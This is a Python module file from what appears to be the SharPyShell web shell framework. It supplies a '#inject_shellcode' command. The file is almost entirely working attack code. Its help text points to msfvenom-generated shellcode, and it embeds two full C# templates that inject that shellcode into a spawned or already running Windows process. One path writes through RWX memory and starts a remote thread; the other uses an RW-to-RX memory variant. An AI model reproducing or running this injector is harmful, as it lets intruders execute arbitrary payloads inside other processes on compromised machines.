Files
antonioCoco-SharPyShell/modules/inject_shellcode.py
T
2019-03-22 16:43:39 +01:00

376 lines
25 KiB
Python

from core.Module import Module, ModuleException
class InjectShellcodeModuleException(ModuleException):
pass
class Inject_shellcode(Module):
_exception_class = InjectShellcodeModuleException
short_help = "Inject shellcode in a new (or existing) process"
complete_help = r"""
This module allow to inject your shellcode in a host process.
You can decide if inject into an existing process or if spawn a new process as a host process for the code.
You should create the payload for the shellcode from msfvenom with the flag --format csharp.
You can use one of the following supported injection technique:
- remote_virtual: classic injection:
VirtualAllocEx (RWX) -> WriteProcessMemory -> CreateRemoteThread
- remote_virtual_protect: with this technique you never allocate RWX memory (polymorphic encoders won't work):
VirtualAllocEx(RW) -> WriteProcessMemory -> VirtualProtect(RX) -> CreateRemoteThread
Note that when you try to inject into an existing process you should ensure you have the rights to open
a handle to that process otherwise the injection cannot be performed.
Usage:
#inject_shellcode shellcode_path [injection_type] [remote_process]
Positional arguments:
shellcode_path path to a file containing shellcode in csharp format (msfvenom --format csharp)
it can also be a bytearray string, i.e. '{0x90,0x90,0x90,0x90}'
injection_type the process injection method to use for injecting shellcode
Allowed values: 'remote_virtual', 'remote_virtual_protect'
Default: 'remote_virtual'
remote_process path to an executable to spawn as a host process for the DLL code
if you pass a pid it will try to inject into an existing running process
Default: 'cmd.exe'
Examples:
Inject generated shellcode:
#inject_shellcode /path/to/shellcode.cs
Inject shellcode with specific injection type:
#inject_shellcode /path/to/shellcode.cs 'remote_virtual_protect'
Inject shellcode into an existing process
#inject_shellcode /path/to/shellcode.cs 'remote_virtual' '1550'
"""
_runtime_code = ur"""
using System;using System.IO;using System.Diagnostics;using System.Text;
using System.Runtime.InteropServices;
public class SharPyShell
{
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError=true)]
static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
const int PROCESS_CREATE_THREAD = 0x0002;
const int PROCESS_QUERY_INFORMATION = 0x0400;
const int PROCESS_VM_OPERATION = 0x0008;
const int PROCESS_VM_WRITE = 0x0020;
const int PROCESS_VM_READ = 0x0010;
const uint MEM_COMMIT = 0x00001000;
const uint MEM_RESERVE = 0x00002000;
const uint PAGE_READWRITE = 0x04;
const uint PAGE_EXECUTE_READWRITE = 0x40;
const uint WAIT_OBJECT_0 = 0x00000000;
public string InjectShellcode(byte[] byteArrayCode, byte[] threadParameters, string process, uint threadTimeout, ulong offset)
{
string output = "";
string error_string = "\n\n\t{{{SharPyShellError}}}";
int processId=0;
Process targetProcess = new Process();
try
{
if(!Int32.TryParse(process, out processId)){
targetProcess = Process.Start(process);
processId = targetProcess.Id;
output += "\n\n\tStarted process " + process + " with pid " + processId.ToString();
}
else{
targetProcess = Process.GetProcessById(processId);
output += "\n\n\tTrying to open running process with pid " + processId.ToString();
}
string processName = targetProcess.ProcessName;
string targetProcessPid = processId.ToString();
IntPtr targetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, processId);
if(targetProcessHandle == (IntPtr)0){
output += error_string + "\n\tOpenProcess on pid " + targetProcessPid + " failed with error code " + Marshal.GetLastWin32Error();
return output;
}
output += "\n\n\tCorreclty opened a handle on process with pid " + targetProcessPid;
uint codeMemorySize = (uint)(byteArrayCode.Length * Marshal.SizeOf(typeof(byte)) + 1);
IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(codeMemAddress == (IntPtr)0){
output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error();
return output;
}
uint bytesWrittenCode;
output += "\n\n\tAllocated memory RWX for code of " + codeMemorySize.ToString() + " bytes";
if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){
output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error();
return output;
}
output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString();
codeMemAddress = (IntPtr)((ulong)codeMemAddress + (ulong)offset);
IntPtr injectedThreadHandle = (IntPtr)0;
if(threadParameters.Length > 0){
output += "\n\n\tThread parameters detected. Starting to allocate memory RWX ...";
uint threadParametersSize = (uint)(threadParameters.Length * Marshal.SizeOf(typeof(byte)) + 1);
IntPtr threadParametersMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, threadParametersSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(threadParametersMemAddress == (IntPtr)0){
output += error_string + "\n\tError allocating thread parameters buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error();
return output;
}
uint bytesWrittenThreadParams;
output += "\n\n\tAllocated memory RWX for thread parameters of " + threadParametersSize.ToString() + " bytes";
if(!WriteProcessMemory(targetProcessHandle, threadParametersMemAddress, threadParameters, threadParametersSize, out bytesWrittenThreadParams)){
output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error();
return output;
}
output += "\n\n\tThread parameters written into remote process. Bytes written: " + bytesWrittenThreadParams.ToString();
injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, threadParametersMemAddress, 0, IntPtr.Zero);
}
else{
injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, IntPtr.Zero, 0, IntPtr.Zero);
}
if(injectedThreadHandle == (IntPtr)0){
output += error_string + "\n\tError injecting thread into remote process memory.\n\tCreateRemoteThread failed with error code " + Marshal.GetLastWin32Error();
return output;
}
output += "\n\n\tRemote Thread started!";
if(threadTimeout>0){
uint wait_for = WaitForSingleObject(injectedThreadHandle, threadTimeout);
if(wait_for == WAIT_OBJECT_0){
output += "\n\n\tCode executed and exited correctly";
try{
Process.GetProcessById(processId);
targetProcess.Kill();
output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has been killed";
}
catch{
output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has exited";
}
}
else{
output += "\n\n\tRemote Thread Timed Out";
}
}
else{
output += "\n\n\tCode executed left in background as an async thread in the process '" + processName + ".exe' with pid " + targetProcessPid;
}
}
catch (Exception ex)
{
output += error_string + "\n\tException occurred. " + ex.Message;
return output;
}
return output + "\n\n";
}
public byte[] ExecRuntime()
{
%s
byte[] threadParameters = %s;
string output_func=InjectShellcode(buf, threadParameters, @"%s", %s, %s);
byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
return(output_func_byte);
}
}
"""
_runtime_code_virtual_protect = ur"""
using System;using System.IO;using System.Diagnostics;using System.Text;
using System.Runtime.InteropServices;
public class SharPyShell
{
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError=true)]
static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
const int PROCESS_CREATE_THREAD = 0x0002;
const int PROCESS_QUERY_INFORMATION = 0x0400;
const int PROCESS_VM_OPERATION = 0x0008;
const int PROCESS_VM_WRITE = 0x0020;
const int PROCESS_VM_READ = 0x0010;
const uint MEM_COMMIT = 0x00001000;
const uint MEM_RESERVE = 0x00002000;
const uint PAGE_READWRITE = 0x04;
const uint PAGE_EXECUTE_READ = 0x20;
const uint WAIT_OBJECT_0 = 0x00000000;
public string InjectShellcode(byte[] byteArrayCode, byte[] threadParameters, string process, uint threadTimeout, ulong offset)
{
string output = "";
string error_string = "\n\n\t{{{SharPyShellError}}}";
int processId=0;
Process targetProcess = new Process();
try
{
if(!Int32.TryParse(process, out processId)){
targetProcess = Process.Start(process);
processId = targetProcess.Id;
output += "\n\n\tStarted process " + process + " with pid " + processId.ToString();
}
else{
targetProcess = Process.GetProcessById(processId);
output += "\n\n\tTrying to open running process with pid " + processId.ToString();
}
string processName = targetProcess.ProcessName;
string targetProcessPid = processId.ToString();
IntPtr targetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, processId);
if(targetProcessHandle == (IntPtr)0){
output += error_string + "\n\tOpenProcess on pid " + targetProcessPid + " failed with error code " + Marshal.GetLastWin32Error();
return output;
}
output += "\n\n\tCorreclty opened a handle on process with pid " + targetProcessPid;
uint codeMemorySize = (uint)(byteArrayCode.Length * Marshal.SizeOf(typeof(byte)) + 1);
IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if(codeMemAddress == (IntPtr)0){
output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error();
return output;
}
uint bytesWrittenCode;
output += "\n\n\tAllocated memory RW for code of " + codeMemorySize.ToString() + " bytes";
if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){
output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error();
return output;
}
output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString();
uint codeMemSize = (uint)(byteArrayCode.Length * Marshal.SizeOf(typeof(byte)) + 1);
uint lpflOldProtect;
if(!VirtualProtectEx(targetProcessHandle, codeMemAddress, codeMemSize, PAGE_EXECUTE_READ, out lpflOldProtect)){
output += error_string + "\n\tError in changing memory from RW to RX.\n\tVirtualProtectEx failed with error code " + Marshal.GetLastWin32Error();
return output;
}
output += "\n\n\tChanged allocated memory for code from RW to RX";
codeMemAddress = (IntPtr)((ulong)codeMemAddress + (ulong)offset);
IntPtr injectedThreadHandle = (IntPtr)0;
if(threadParameters.Length > 0){
output += "\n\n\tThread parameters detected. Starting to allocate memory RW ...";
uint threadParametersSize = (uint)(threadParameters.Length * Marshal.SizeOf(typeof(byte)) + 1);
IntPtr threadParametersMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, threadParametersSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if(threadParametersMemAddress == (IntPtr)0){
output += error_string + "\n\tError allocating thread parameters buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error();
return output;
}
uint bytesWrittenThreadParams;
output += "\n\n\tAllocated memory RW for thread parameters of " + threadParametersSize.ToString() + " bytes";
if(!WriteProcessMemory(targetProcessHandle, threadParametersMemAddress, threadParameters, threadParametersSize, out bytesWrittenThreadParams)){
output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error();
return output;
}
output += "\n\n\tThread parameters written into remote process. Bytes written: " + bytesWrittenThreadParams.ToString();
injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, threadParametersMemAddress, 0, IntPtr.Zero);
}
else{
injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, IntPtr.Zero, 0, IntPtr.Zero);
}
if(injectedThreadHandle == (IntPtr)0){
output += error_string + "\n\tError injecting thread into remote process memory.\n\tCreateRemoteThread failed with error code " + Marshal.GetLastWin32Error();
return output;
}
output += "\n\n\tRemote Thread started!";
if(threadTimeout>0){
uint wait_for = WaitForSingleObject(injectedThreadHandle, threadTimeout);
if(wait_for == WAIT_OBJECT_0){
output += "\n\n\tCode executed and exited correctly";
try{
Process.GetProcessById(processId);
targetProcess.Kill();
output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has been killed";
}
catch{
output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has exited";
}
}
else{
output += "\n\n\tRemote Thread Timed Out";
}
}
else{
output += "\n\n\tCode executed left in background as an async thread in the process '" + processName + ".exe' with pid " + targetProcessPid;
}
}
catch (Exception ex)
{
output += error_string + "\n\tException occurred. " + ex.Message;
return output;
}
return output + "\n\n";
}
public byte[] ExecRuntime()
{
%s
byte[] threadParameters = %s;
string output_func=InjectShellcode(buf, threadParameters, @"%s", %s, %s);
byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
return(output_func_byte);
}
}
"""
_default_injection_type = 'remote_virtual'
_default_remote_process = 'cmd.exe'
_default_thread_timeout = '0'
_default_thread_parameters = '{}'
_default_code_offset = '0'
_template_shellcode_csharp = 'byte[] buf = new byte[] %s;'
def _parse_run_args(self, args):
if len(args) < 1:
raise self._exception_class('#inject_shellcode: Not enough arguments. 1 Argument required.\n')
args_parser = {k: v for k, v in enumerate(args)}
shellcode_path = args_parser.get(0)
injection_type = args_parser.get(1, self._default_injection_type)
remote_process = args_parser.get(2, self._default_remote_process)
thread_timeout = args_parser.get(3, self._default_thread_timeout)
thread_parameters = args_parser.get(4, self._default_thread_parameters)
code_offset = args_parser.get(5, self._default_code_offset)
return shellcode_path, injection_type, remote_process, thread_timeout,thread_parameters, code_offset
def _create_request(self, args):
shellcode_path, injection_type, remote_process,\
thread_timeout, thread_parameters, code_offset = self._parse_run_args(args)
if all(shellcode_char in shellcode_path for shellcode_char in ['{', '0x', ',', '}']):
shellcode_bytes_code = self._template_shellcode_csharp % shellcode_path
else:
with open(shellcode_path, 'r') as file_handle:
shellcode_bytes_code = file_handle.read()
if injection_type == 'remote_virtual_protect':
return self._runtime_code_virtual_protect % (shellcode_bytes_code, thread_parameters, remote_process,
thread_timeout, code_offset)
else:
return self._runtime_code % (shellcode_bytes_code, thread_parameters, remote_process,
thread_timeout, code_offset)